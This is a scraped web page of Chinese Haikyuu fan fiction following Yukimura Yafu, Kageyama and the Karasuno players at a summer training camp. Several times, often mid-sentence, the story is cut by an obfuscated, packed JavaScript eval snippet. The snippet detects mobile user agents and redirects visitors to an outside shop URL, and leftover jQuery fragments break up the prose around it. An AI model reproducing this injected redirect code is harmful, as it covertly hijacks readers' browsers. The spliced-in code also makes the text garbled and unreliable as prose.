雪村呼吸不由地变得很急促，情绪逐渐失控。 “我让你——走开啊——” 大声地这么说着，雪村夜芙不管不顾上前很用力很用力推了浦野一把，想把他从自己面前彻彻底底推开。 戴着深蓝汗带的少年面露不解，踉跄着往后退了半步，但很快就重新站稳。 ——结果推他的雪村夜芙自己反而因此摔到了地上。 摔在了体育馆的过道之外。 雪村的双手撑在湿漉漉的地上想要爬起来，漫天的雨水已经一下子把她彻底淋湿了。 整个人都变得好狼狈…… 而且，雨好大，连眼睛都要睁不开了。 雪村夜芙愣了愣，然后忽然觉得都无所谓了——被发现不是正选什么的，被纠缠着去当经理什么的。 反正已经全都被影山飞雄看见了，已经不会有比这更糟糕的事情了。 还有现在，像傻子一样摔在地上被雨淋湿什么的。 已经……全都无所谓了，反正已经糟糕透了。 她这么想着，红色的头发被打湿贴在了脖子上，雨水顺着发丝滑进了雪村的衣领里。 一直远远跟在她身后、看着这一切发生的影山飞雄，感觉自己的呼吸都要停止了。 浦野愣了愣，走上前想要把雪村扶起来，却被忽然出现的影山飞雄一拳打在了脸上，然后被狠狠地推到了离雪村夜芙更远的地方。 影山飞雄捏着拳头的手都在发抖，看着浦野的眼神带着从未有过的戾气。 而在转过头去看雪村夜芙的那一瞬间，他眼里的戾气全部消散，眼角有些微微泛红。 想都不想地走进雨里，影山飞雄在雪村夜芙面前蹲下，用一种近乎伤心的眼神看着面前的女孩子。 想向她伸出手，但又想起雪村刚才装作没看见他的样子，于是伸出去的手迟疑着不敢触碰。 没有听她的话，还是选择一意孤行地提前来东京…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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雪村双手紧紧抓着面前的少年，眼泪混着雨水让她有些看不清他的神情，但是她知道影山就在她身边，于是委屈的情绪更加被放大。 “日向有你可以给他托球……那我呢？我要怎么办？” “我学得太晚，也不是你这样的天才……” “我到底要怎么办……” 抓着影山的手越收越紧，雪村终于哽咽到说不下去了。 她泪眼朦胧地看着影山飞雄，忽然什么都不想管了—— 下一秒，雪村夜芙整个人都扑进了影山飞雄的怀里。 不管是什么……不管是什么她都不要去想了。 把脸埋进了影山飞雄的臂弯，然后完全放任自己的情绪不再压抑，雪村夜芙终于很大声、很大声地哭了出来。 “……” 影山飞雄感觉自己的手都在抖，伞滚到了地上，他接住了扑进自己怀里的女孩子。 这么多年，他感觉自己从来都没有这么难受过，甚至比输掉最在乎的比赛还要难受。 “我会陪你练习的……我会一直一直陪你一起练习的。”影山飞雄看着雪村的目光难过到了极点，双手忍不住用力握住了她的肩。 他心想着，不管怎样，他都要给雪村夜芙托一辈子的球。 他不要她难过。 ……时间好像过了很久。 影山飞雄的眼睛红红的，下巴无意间碰到了雪村的头发，还能感觉到她在自己怀里抽泣。 不只是心脏，连胃都好像纠结到了一起。 所以人在难过的时候，胃也会不舒服吗？ 还是因为他没有吃午饭。 影山飞雄的手背擦过雪村的脸，小声说着：“夜芙……我好像饿了，胃好难受。” “我们一起去吃晚饭……好不好？” 39.夏日合宿前 佐久早圣臣看着面前刚刚洗完了澡，正在用着“他的”毛巾、穿着“他的”短袖、坐在“他的”房间地板上的黑发少年，默默给自己带上了口罩。 训练完一出体育馆就看到不知道从哪里冒出来的影山飞雄也就算了，居然还被教练交代了要帮忙照顾。 队内的那几个臭小子他都想离远一点，为什么还会有外校的臭小子找上门来…… 当这个队长到底对他有什么好处…… 元也为什么偏偏今天不在…… 真是要疯掉…… 佐久早居高临下看着盘腿坐在地上的影山飞雄，往他身上又扔了一块干毛巾，面无表情说着：“头发上的水，有一滴落到我的地毯上了。” 影山飞雄连忙接过干毛巾，大声说着“谢谢前辈”之类的话。 佐久早抿了抿唇，又说：“在头发干之前只可以坐在这块地毯上。” 这块圆形的地毯已经变成了他给影山飞雄划定的警戒线。 “……是！”虽然不知道具体是为什么，影山还是很听话地答应了下来。 佐久早前辈居然愿意帮忙，他就已经很感谢了。 佐久早又看了他一眼后转身，嘴里又小声嘟囔了句“全都要换成新的”之类的话，然后不得不委屈自己用影山飞雄刚刚用过的浴室。 经过的时候还不小心看到了影山飞雄 Line上的好友列表——其中一个备注真是看着就觉得不爽。 而影山飞雄并没有怎么发现佐久早对他的嫌弃，盘腿坐在地上拿起手机很忙碌地在Line上发简讯。 TO 笨蛋日向： 【想问你一件事。】 日向翔阳很快就回复了简讯。 笨蛋日向： 【啊？什……什么啊？对了影山你今天为什么没来学校加训啊？！】 【你期末考试全都通过了吗？我跟你说我真的超级厉害的，分数全都?#@?%】 影山飞雄选择性忽略了日向别的简讯内容，只是在对话框里写着： 【你之前说，如果遇到了什么麻烦的事，大家肯定都愿意帮忙……是真的吗？】 日向过了一会儿才回的消息。 【好像是说过？什么时候来着……】 【但是不管说没说过这不是肯定的事吗？当然啊！】 【所以到底发生了什么啊？】 看到肯定的答复，影山飞雄轻轻松了一口气，然后继续在对话框里打字。 就算他觉得自己在球场上各个位置都打得不算差，但是如果有大家的帮忙的话，夜芙说不定可以学到更多。 不知不觉当中，影山飞雄早就不再是那个宁愿一个人托球传球击球的独裁王者了，他已经很好地学会了利用别人的优势。 【那就拜托你们了。】 把事情大概说清楚，影山飞雄最后这么发了一句。 收到这种话的日向翔阳又有一种“影山飞雄今天真的好奇怪啊”这样的想法，但最终还是答应了下来，回复： 【这种帮忙当然可以做到啊。】 影山嘴角弯了起来。 然后他又打开和雪村夜芙的对话框。 手机屏幕的界面换到这里，他打字的速度都慢了下来。 想到刚才的事情，影山心里还是有些难受，但是因为已经找到了他能想到的最好的应对办法，所以心里还算有些安慰。 他们约好了一起去吃晚饭的，于是影山小心翼翼发了简讯过去。 …… 半个小时以后，已经没什么人的学院餐厅。 雪村夜芙有些脸红地用勺子挖着烩饭，不知道要怎么开口和影山讲话。 她难得的有些招架不来，因为刚才发生的事情……真是好丢脸啊。 看着她心不在焉地吃东西，影山飞雄还以为她又吃到了不喜欢的食物，于是仔细看了看，夹走了她盘子里的一小块青椒。 “……”雪村夜芙感觉她一定要说什么缓和一下这种气氛吧？ 要不然……要不然满脑子都是她笨蛋一样在影山怀里哭的画面。 真的很丢脸啊。 “影山，”雪村夜芙脑子乱乱地开口，甚至也带上了一点结巴，“其实……” “……怎么了？”影山飞雄放下勺子，紧张地看她。 雪村是不是还是很难过啊？ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13268441|137059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看着影山关心的样子，雪村心情好了一点，然后忽然说起很久以前的事。 “其实你初中的时候收到过情书哦，”雪村有些尴尬地对他这么说着，“好像和一盒巧克力一起，放在你33分的数学考卷下面了。” 影山飞雄：“……” “但是你应该不知道这件事……因为那封情书被我悄悄退回去了。” 雪村有些不好意思地继续说着，毕竟确实不是什么有礼貌的行为。 但是那个时候，她根本就控制不住嘛。 “所以人家女孩子应该会以为自己被拒绝了什么的……”雪村夜芙越说越小声。 “对不起啊。” 影山飞雄听完，结结巴巴地也决定坦白某些事情。 “那个……雪村你借给我的围巾，”影山飞雄偏着头回避雪村的视线，“我一直都没有还给你。” 还是故意不还的那种。 他在初中的时候打完最后那场比赛，雪村借给他的围巾被他好好的放在了房间——但就是不想还。 雪村夜芙愣了愣，终于笑了出来，眼睛弯弯地看着影山飞雄。 “还有……”影山飞雄继续说。 “啊，还有什么？” “你毕业的时候穿的北一的校服外套，”影山飞雄越想越觉得自己原来做了这么多莫名其妙的事，“我不小心撕掉了好几张留言贴纸……” “……” 于是已经人很少的学校餐厅，他们两个人都看着对方笑了起来。 阴霾消散，盛夏无论如何都会来。 ——但是对于乌野的大家来说，有时候也可能会突然收到某种……晴天霹雳？ 第二天，森然高校。 影山飞雄从井闼山男排部的校车大巴走下来的时候，刚好迎面遇上了也才下车的乌野的大家。 小乌鸦们集体石化。 明明是他们家的二传，为什么是和井闼山的那群家伙一起来的……？ 井闼山没有自己的二传手吗？ 不是，所以他们乌野以后还有二传吗……？ “啊啊啊啊影山你这个叛变的混蛋啦！！！” 40.影山飞雄的请求 几乎每年的暑假，东京各高校的球队以及其他受邀学校的球队，都会在森然进行封闭训练。 森然高校内的晴碧坡在夏天的时候是很受欢迎的，甚至在整个东京都很有名，于是顺理成章被加入了训练套餐——输球的队伍拿来冲刺训练什么的。 隔在晴碧坡的两端，两座离得不是很远的体育馆将分别用于男排和女排的训练。 而今天，所有受邀的球队都陆续抵达。 影山飞雄搭乘井闼山男排部的校车先一步过来，井闼山女排的校车也紧随其后。 雪村夜芙一下车，影山飞雄就发现了她——那时候他正被乌野的大家包围并盘问中。 “到底为什么会和井闼山的人一起来啊？喂喂影山，你这样真的显得很可疑啊！” “是啊影山，还有日向说你要找大家帮忙，到底是什么啊？” “……人物复杂度+50？单细胞生物最近真有够反常的。” 雪村夜芙看到影山飞雄看见了她，于是也向着他挥了挥手。 啊，还有乌野的大家真是久违了啊。 “啊！是雪村同学！！” 穿着乌野队服的鹿目佑树从影山飞雄背后蹿了出来，对着雪村蹦蹦跳跳地挥着手，甚至立刻想要蹿过去找她，结果被缘下力抓住了背包的带子摁住了。 “放我过去啊啊啊我好久没见到雪村了！” 鹿目泪目，他一直一直以为入学乌野以后，不仅能跟在影山前辈身边练球，还能和雪村同学开始一段浪漫的感情什么的，结果没想到雪村同学并没有入学乌野啊？！ 刚开学不久的时候，得知这个消息的鹿目感觉天都要塌下来了。 理想和爱情，就不能同时拥有吗？！ 这一定是命运给他们安排的挫折！ 但是命运又让他和雪村同学在这里遇见彼此，他一定要好好把握住这次机会—— “喂，给我冷静一点啊！”缘下力简直快要摁不住鹿目这小子了，结果那边日向和西谷已经激动地过去和人家聊上了。 而不知道他们之间的关系、还以为莫名其妙就对女孩子那么热情什么的——训练赛还没有开始，乌野就已经成了所有球队里面最现眼的那一个。 “雪村同学！！你也加入排球部了啊！！”西谷夕凑到她身边，“太厉害了吧！所以要不要我教你闪电接球进阶版 3.0？” “那可是相当——帅气的！” “我我我！我又学会了一种快攻哦！”日向说着，“绝对绝对会让人吓一跳的那种快攻！！” “对了，你不在的时候，影山又骂过我是‘笨蛋’诶，他真的很过分！” “……” 雪村夜芙笑着回应他们，“好啊，我要学！可以教我吗？” 又转头安抚日向，“日向学长怎么可能会是‘笨蛋’呢……” 日向眼睛亮亮的，被叫学长什么的也太让人幸福了吧？！ “好了啊，要集合了啊，”缘下力头疼地过来抓人，对着雪村歉然地笑了笑，“真是添麻烦了啊。” “不是的，是我要麻烦大家。”雪村夜芙真诚地说着这样的话，影山飞雄已经和她说过了，请大家帮她一起训练什么的。 简直……不知道该怎么感谢才好。 这次合宿安排的时间，恰好是在春高全国赛的之前。 也就是说，等这次合宿结束以后，很有可能大家就要在东京体育馆的球场上正式对决了。 所以这次合 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13282581|137059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宿训练至关重要——如果能在训练赛中提前找到应对强敌的办法，对于在全国赛上拿到更好的名次是很有帮助的。 所有人都打起了精神认真应对。 晚上六点，第一天的训练结束后。 影山飞雄在日向“要请大家帮忙就自己亲口说出来啊”这样的话里，终于和大家说明了自己的请求。 日向完完全全站在影山这边，“我完全可以！我每天都想和雪村学妹一起练习——” 拜托，他可是日向学长诶！ “什么啊——来比一比谁更会接球啊，那个当然得我来教吧——” 山口也举手，“我的飘球已经很稳定了哦，雪村学妹要学学看吗？” “啊我也想想我教什么好呢……” 影山飞雄看着很愿意帮忙的大家，虽然早就知道了大家一定是这样子的反应，但还是觉得有被感动到。 “谢谢！！”他很大声地说着。 “又不是因为你才答应的……”月岛萤插话。 于是小乌鸦凑在一堆，仔仔细细开始研究“培训班”的展开事宜。 时间则定在了每天正式训练结束以后的晚饭之后。 然后就是课表了！ 最后以月岛“发球当然是最重要的啊”这样的话，帮着山口争取到了第一天的教学机会。 “接球也很重要啊！”西谷也把自己排到了前面。 “我呢我呢，那我要排到哪里去了啊……” 雪村夜芙在结束训练后不久，收到了影山飞雄在Line上发来的简讯。 看着大家有些笨拙又无比认真为自己准备的训练计划，雪村夜芙忍不住笑了起来。 能够认识乌野的大家，真是太好了。 41.小乌鸦培训班-Lesson1! 8号体育馆，晚饭后的自由时间。 球场边丢着四个背包——雪村的，山口的，月岛还有影山的。 这会儿影山飞雄正在犹豫。 他其实也不是不放心把雪村夜芙交给山口和月岛，但总觉得有些怪怪的。 “那……我晚点再过来接你……然后送你回去。” “我就在隔壁训练，左边那间。” “有什么事记得来找我。” “……真的没问题吗？” 影山飞雄一步三回头。 月岛萤&山口忠&雪村夜芙：“……” 怎么，是有人第一天上幼稚园吗？影山爸爸？ 雪村夜芙真的真的好想过去把影山飞雄的嘴巴捂住。 过去推着他往外走去，雪村无奈：“别说了你快自己去训练啦——” 等到影山飞雄终于走了，月岛萤皱起的眉头才放了下来，修长的手指揉了揉太阳穴，评价道：“话好多吵死了。” 山口忠也终于松了一口气，这才转身看向雪村夜芙，眼睛亮亮地说着：“雪村学妹！我们来练跳飘球吧？” “我跟着町内会的前辈学的，已经学得很好了哦。” “我来教你吧？嗯嗯？” 山口忠双手抓着球，在雪村面前可爱地晃了晃。 他其实从一开始就很喜欢雪村了，温柔好看的女孩子根本没办法让人讨厌嘛。 而且还来义务帮忙当经理什么的。 只不过影山飞雄那家伙总是在雪村学妹身边打转，害他没机会和她多说几句话。 对了，还有上次在井闼山餐厅的时候——啊啊啊算了算了不想了。 山口忠默默给自己打气，一想到今天好不容易有机会单独和雪村学妹相处，他忍不住话都变多了起来。 脸上细细碎碎的雀斑也透出了几分活泼。 月岛萤看了眼露出那种期待的眼神的山口忠，自己先去一边练习对墙击球，顺便在脑子里盘算等下他要怎么教学比较好。 他的排球心得什么的，总觉得有些难说出口……？ 排球场上只剩下雪村和山口两个人了。 雪村夜芙冲着山口忠很用力地点头：“麻烦你了，山口学长！如果可以的话，请务必教我——” 山口挠了挠头说：“要不然雪村学妹你叫我‘小忠’也可以……？” 山口学长什么的，虽然……但是…… “啊这个提议可能太冒昧了……不、不说这个了！” “雪村学妹，我们开始练球吧！” 雪村夜芙笑着露出了虎牙。 球场的发球点。 山口连着打了好几个飘球给雪村夜芙看，完美打出三个飘球之后，山口忠眼睛亮亮地看向了她。 雪村夜芙毫不吝啬地夸他：“山口前辈真的很厉害啊，甚至这几个球的球路全都不同吗？” 山口露出很可爱的笑容，然后又抱起下一个球，说着：“要一起试试看吗？” 他走上前把球放到了雪村手心里。 “飘球和一般的扣球是不同的，为了让球带上不被对手预料到的变化，因此……” 山口忠很认真把自己会的都告诉雪村夜芙，“第一点不同就在于手肘的动作哦。” “你看，我的手肘是先于手掌出去的——” 山口假装自己手里有球，又在离雪村很近的地方演示了一遍最开始的击球动作。 雪村认真看着，然后拿着球照做：“是这样吗？” “对……没错！雪村你太厉害了吧。” “光这个动作，那时候师父纠正了我好多遍呢！你一下子就学会了……” 雪村夜芙被夸得有些不好意思了，“我也只是试着模仿了一下，肯定还有不到位的地方……” “已经很好了！”山口忠又从筐里拿起一颗球，然后继续下一步的教学。 “然后下一步，”山口忠努力让自己专心，用很认真的语气说着：“要控制好力度，试着在击球之后就让你的手停下来。” “停下来？”雪村问着。 “嗯！”山口继续一边示范一边说，“手肘先一步出去，然后手掌发力——但是在击球之后要马上收住力气哦，让球路不完全被手掌的发力方向所局限住——像这样——” 山口很有耐心地又做了一遍。 雪村夜芙的眼神亮亮的，说着：“我明白了！” 变化的球路什么的，就是因为这种对力度精准的掌握才形成的。 山口忠也教得很开心，整个人都很雀跃，“还有最重要的一步喔！” “雪村，可以把手伸出来吗？” 雪村夜芙想都没想，向着山口忠伸出了手。 山口微微弯下了腰，低头用自己的手握住了雪村的手指，“这里，像这样——整个击球的过程中手指一定要很紧绷很紧绷才行。” “嗯！” 山口放开她的手指，手掌向下又握住她的手腕，“这里也是，手腕这里的关节一定要绷直不可以弯曲的。” “好！”雪村夜芙把每一点都仔细记住并回应。 “然后是击球的时候，”山口右手握着雪村的手腕，左手在她的手心下方画了一个圈，“我们要用手掌下半部——这里，去击球！” “击球的时候球的位置，也得在球的中间靠下的地方才行……” 山口忠完完全全把要点全都教给了雪村，然后一遍又一遍，雪村在山口的指导之下开始练习飘球。 半个小时后。 “雪村学妹你太厉害了！”山口忠站在雪村的身旁，看到她刚才打出去的这颗球的时候眼神更亮了，“这一球已经完完全全是可以拿来打比赛的了吧？！” “真的吗？”雪村夜芙都被夸得不好意思了，“但是还是很不稳定，有些不确定是怎么打出来的……” “没事的！多练练就能找到感觉了！” “总之就是已经非常厉害了……” 山口忠抬手擦了擦额头的汗，但一点都不觉得累。总觉得能够帮到雪村夜芙，让她能有这么大的进步什么的——和他自己学会飘球一样让人高兴呢。 而在这样的教学过后，感觉他自己以后打跳飘球的思路也更加清晰了诶。 雪村夜芙又练了一会儿，终于在山口的建议下停下休息。 月岛这时候也拿着球走了过来。 雪村夜芙喝了口水，然后看着月岛萤欲言又止的样子，主动开口：“月岛前辈？” 月岛萤轻咳了一声，然后装作若无其事地应了。 “我打的位置是MB，副攻。”月岛一边思考一边说着。 雪村点头，“我知道的。” “雪村你打的是主攻对吧，”月岛萤继续说着，“扣球上我可能教不了你什么，但是我可以帮你分析扣球的时机问题。” “……是！”雪村夜芙坐直了准备仔细听课。 “比如面对三人拦网，”月岛说着，“作为二传给球了的主攻手，你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13296490|137059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会怎么做？” 雪村夜芙想了想说，“打手出界……或者斜线球避开正面拦网？” “还有就是吊球之类的。” 佐久早前辈教过她很多应对拦网的方法，而在具体的情况下选择最好的进攻的方式，是主攻手在场上必须做到的一点。 “嗯。”月岛萤点了点头，“这些都是正面的对决。” 用不同的应对方式来突破拦网，光明正大的一较高下的正面对决。 月岛萤嘴角隐约弯了弯，眼镜镜片在体育馆的灯光下折射出光亮，“但除了堂堂正正用实力正面对决之外……‘智取’也是一种选择。” 雪村夜芙一下子明白了过来，目光探究着看向月岛，有些迟疑地求证着，“所以去年春高的宫城县决赛，打白鸟泽的时候，月岛前辈您——” 是故意给白鸟泽的王牌牛岛若利精心布置下了圈套，诱导他的扣球，然后…… 月岛前辈独自拦下了全国前五的攻手的扣球。 那时候的她刚刚狼狈地结束了初中的最后一场比赛，赶过去看乌野和白鸟泽的最终对决，这样精彩的比赛给她留下了很深的印象。 月岛伸手调整了一下眼镜的位置，点头肯定了雪村的猜测。 他喜欢和聪明的人相处，而雪村从他的一句话里就联想到那一场比赛，让他觉得有些意外。 “习惯而已。” 月岛手指轻轻敲着手里的排球，“在最开始，你就可以有意识地用同一种进攻方式，让对方在和你的‘对决’当中，察觉到你故意给出的‘习惯’，并且做出相似的应对方式。” “比如，用接球而非拦网，应对不可能拦住的快攻。” 月岛顺口损了一句队伍里的怪物组合，“这种方法能够让快攻失效，因此在预判对方会用快攻的时候，下意识就选择了不去拦网，而是接球。” 月岛继续说，“所以，你需要去做的就是——” “给出了诱饵之后，预判他们的预判。” “在潜移默化之中让他们养成应对的习惯，而你放弃自己的习惯。” “放弃快攻——转而去打一个没有拦网就绝对能够得分的、让人意想不到的扣球。” “在正面对决并没有优势的时候，不如去设计这样的‘习惯’。” “……”雪村夜芙睁大眼睛，努力去记住每一个字。 山口忠小声对雪村夜芙说着，“怎么样，阿月真的很厉害吧？” “他真的想好多啊。” 在球场上已经够让人紧张了，月岛萤居然还会思考这么多。 雪村夜芙很用力点头。 “还有，”歪着头又想了一下，月岛萤又问雪村夜芙，“你觉得每一次的进攻是为了什么？” 雪村夜芙下意识想说是“得分”，但是最后选择了摇头。 既然月岛前辈都这么问了，那答案就肯定不会这么简单…… “为了一点点把对手击溃，最终让他们输掉比赛。” “所以有时候，最强力的进攻并不一定需要得分，”月岛萤回忆之前的比赛，“打破他们的心理防线，让他们自我怀疑，就算勉强接下了你最强的攻击，也必须付出看不见的代价。” “用前一球打碎护盾，然后用后一球轻松得分。” “热血但不愿意思考的人总是看着眼前那一颗球，想着拿下这一分，”月岛萤轻轻说着，“但你也可以选择去做一个更理智的人。” “试着——去俯瞰整场比赛。” 42.合宿夜day1 影山飞雄回到合宿房间的时候已经不早了。 或许是初中那几年养成的习惯，对于和雪村一起走在回家路上，或者像现在这样送她回到宿舍外面——总之练完球以后能够和雪村夜芙一起走一段路，是影山飞雄很在意的某种习惯。 只有那种时候，才觉得一天的训练真的结束了。 影山回来的时候，乌野的大家都已经洗好澡凑在一起聊天了。 他拿上干净的衣服也准备去洗澡。 今天的合宿房间里，之前一直没有很爱说话的山口忠坐在了最中间，被围着说着刚才教雪村练球的事情。 “雪村学妹真的好厉害的，”山口忠完全不吝啬自己的夸奖，“学得真的很快！” “那些动作我练习了很久才掌握，结果雪村学妹很快就明白了……” 山口忠说着说着，又扭头问月岛萤，“阿月，你是不是也这么觉得？” 月岛萤被山口叫到，没怎么犹豫也点了点头。 “可恶，能不能快点轮到我啊……”日向忍不住这么说。 “明天是我！！我一定要在雪村学妹面前大展身手！！”西谷着急地抓了抓洗掉了发胶的头发。 “才不能被你们比下去！” “接球的魅力——自由人的魅力什么的——” “好了，小点声啊……”缘下力无奈，明天他还是和西谷一起过去，看着他一点好了…… 影山飞雄听到这样的话，嘴角轻轻弯了起来，忽然有一种很自豪的感觉和某种很模糊的想法—— 怎么样，厉害吧？ 是他家的——这样的想法。 拿上洗漱用品之类的，影山飞雄心情不错地往房间外面走去，不过脸上还是一副没什么表情的样子。 对了，昨天借佐久早前辈的衣服还没有还，得洗干净还回去才行吧。 正想着这件事走到澡堂外面，戴着口罩的黑卷发少年也出现在了这里。 佐久早圣臣做了好久的心理建设，才决定要来洗澡。 在“不洗澡”和“用别人用过的澡堂洗澡”之间选的话，两者虽然对他来说都很痛苦，但当然还是前者更痛苦一点。 要不是被队里的一年级缠着练球，他也不会拖到这么晚。 后辈就是很麻烦啊，又不能拒绝…… 但是他没有想过的是，之前在井闼山学院的时候，明明每天晚上和雪村夜芙一起加时间训练，佐久早从来没有觉得麻烦过。 反正肯定有哪里不一样就是了。 “……佐久早前辈！” 影山飞雄见到他，在洗手台上放下了手里的东西后，恭恭敬敬叫他。 “……”佐久早圣臣不想理。 虽然昨晚还不得不睡在一个房间，但是对于影山飞雄——除掉球技不提，佐久早圣臣对他总是有些看不爽。 “那个，前 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虽然最开始决定教雪村练习，确实是因为答应了影山那种请求……但是他现在完全不想承认。 佐久早圣臣说完，转身先一步走向了澡堂的最里面。 留下影山飞雄一脸的疑惑。 43.夏夜棒冰 球场上。 “触球一次！” “雪村——” “在的！” 配合二传打出快攻，雪村夜芙在对面拦网还没到位之前拿下一分。 “好球！” 球场上，少女的汗水从额头落下，滑过眉间又落到睫毛上，然后被随手抹去。 井闼山女排分成了两支队伍，而雪村所在的第二支队伍正在和森然打着训练赛。 排球在她们的身影之间穿梭。 今天轮到雪村夜芙发球的时候，她刻意减少了惯用的跳发球，转而下意识更多地去试着打飘球。 虽然成功率还不是很能看……但至少也在一次次的训练中慢慢提高了。 而她今天的扣球——三次了，她已经用了三次快攻了。 对面的拦网一次都没有来得及赶上。 雪村夜芙嘴角弯了弯，看了眼叫了暂停正在商量战术的森然女排，心情变得很不错。 所以真的会像月岛前辈说的那样，减少无效拦网、扩大接球范围吧？ 那么下一次，她可就要打离网很近的大力扣杀……或者吊球了哦？ 如果森然放弃拦网的话，这一分她就势在必得了。 暂停过后不久。 “咚——” 雪村夜芙的身影在网前高高跳起，排球在她的用力一击之下，以极快的速度在离网很近的斜线方向落地。 这样的球，是仅靠一个人拦网根本不可能阻止的。 扣球得分！ 井闼山二队的女孩子们发出了欢呼，把雪村夜芙围在了中间。 25:20, 雪村拿到了这一轮训练赛的最后一分。 啊，果然……月岛前辈真是厉害呢。 雪村一边应对大家的夸赞，一边这么回忆着—— “第三次的时候或许还没有形成习惯，但是第四次，”昨晚的月岛萤这么说过，“第四次的时候，她们一定会受你的‘习惯’的影响。” “犹豫也好，改变策略也好。” “而这就是你改变进攻方式的最好时机。” 雪村夜芙做到了。 在这一场比赛里，她用整整四个扣球机会，做到了这样的事。 心理防线是一点点倾倒的，对手是一点点被打败的。 她渐渐理解，月岛前辈说的“俯瞰比赛”到底是什么意思。 “雪村！”宫下由纪身边，助理教练喊了她的名字让她过去。 雪村夜芙收回思绪转头，立刻小跑着过去。 “教练。”雪村夜芙这么叫着。 “打飘球？”宫下由纪眼里带着隐隐的笑意问她。 “是。”雪村夜芙镇定地说着。 “下次再大胆一点，直接打跳飘球。” “还有，第二个球的力度收住的时机晚了一点……” 球场上，井闼山二队的其余女生都下场休息了，只有雪村被宫下由纪带着回到球场上，让她试着练习跳飘球，然后她在一旁实时纠正。 喝着水，在球场边休息的其中两个女生看向了她们。 “你觉不觉得宫下教练对雪村学妹要求很高啊？”其中一个女生这么说着。 “每次打完一场，她们都能复盘好久。”不是雪村学妹主动找上宫下教练，就是宫下教练把她叫过去。 然后连休息时间都拿来继续练球了。 “是啊……”另一个女生回答着，“我和宫下教练都没说过几句话，总觉得她好严格……” 而对面球场上，森然女排的教练也皱着眉和队长商量着什么。 “那个22号是什么情况？”森然教练推了推眼镜，看着场上还在训练的雪村奇怪地说着：“总觉得最后那一球并非偶然啊……” 但他又有些说不上来。 “总之，得好好应对她才行。”森然教练这么下了结论来提醒大家。 “但是这个22号，”森然女排的队长有些犹豫地说着，“她并不是正选，估计不会在接下去的全国赛上出场吧？” “啊是吗？”森然教练有些惊讶，他下意识把雪村夜芙这样很有实力的选手当作正选来看待了。 “嗯，井闼山二队的球员，大部分都是替补……” “这样子啊……” “真的……不会上场吗？”森然教练自言自语说着。 总觉得问题好像不会这么简单啊。 “……” 晚饭后。 西谷夕飞奔进8号体育馆。 腾空跨进体育馆门的时候，他脸上的笑容根本压不住。 “雪村学妹！！” “今天我来教你接球啊——” “努力变得和我一样帅气什么的——” 缘下力小跑着跟在西谷身后，对着雪村夜芙歉然地笑了笑。 “不好意思啊……” 家里孩子太闹腾了……希望没有吓到对方…… 雪村夜芙抱着球歪了歪头，也给出了一个很灿烂的笑容，学着西谷夕的语气和他本人打招呼：“西谷前辈——” 西谷前辈这种高涨的情绪什么的，真的很能感染人呢。 她完全不会介意。 “来吧！rolling thunder4.0 版——” 西谷夕迫不及待想要展示他身为自由人的高超球技了！ 缘下力：“……” 一般来说，西谷夕滚过的球场都不会太脏。 ——脏的是他的球服罢了。 但是今天的球场上又多了一只小脏猫。 雪村夜芙认认真真学着，总之西谷前辈怎么教她就怎么学，完全没有迟疑。 穿着橘色球服的身影在前面滚了两周，他身后黄色球服的身影也跟着滚了两周什么的。 “喂……” 缘下力在一旁一边自主训练、一边试着看管他们，看到这种训练方式无奈地想说西谷几句，但最后还是放弃了。 靠谱的现任队长自言自语，“算了，我还是帮你们多找几条毛巾来吧……” 西谷夕滚完两周，一骨碌从地上爬起来，看着雪村夜芙还有些生涩的动作，忍不住超大声鼓励她。 “没错！！就是这样子！太——帅气了！！” 西谷笑着露出了虎牙，向着地上刚滚完的雪村夜芙伸出了手。 雪村夜芙毫不犹豫一把抓住。 说实话……她现在有些晕…… 结果西谷前辈还是活奔乱跳的样子啊，一点没被影响。 真是太厉害了！ 雪村这么想着，也这么说了出来。 把雪村从地上拉了起来，西谷眼睛亮亮地看着她，语气轻快。 “雪村学妹，你大概不知道吧——” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 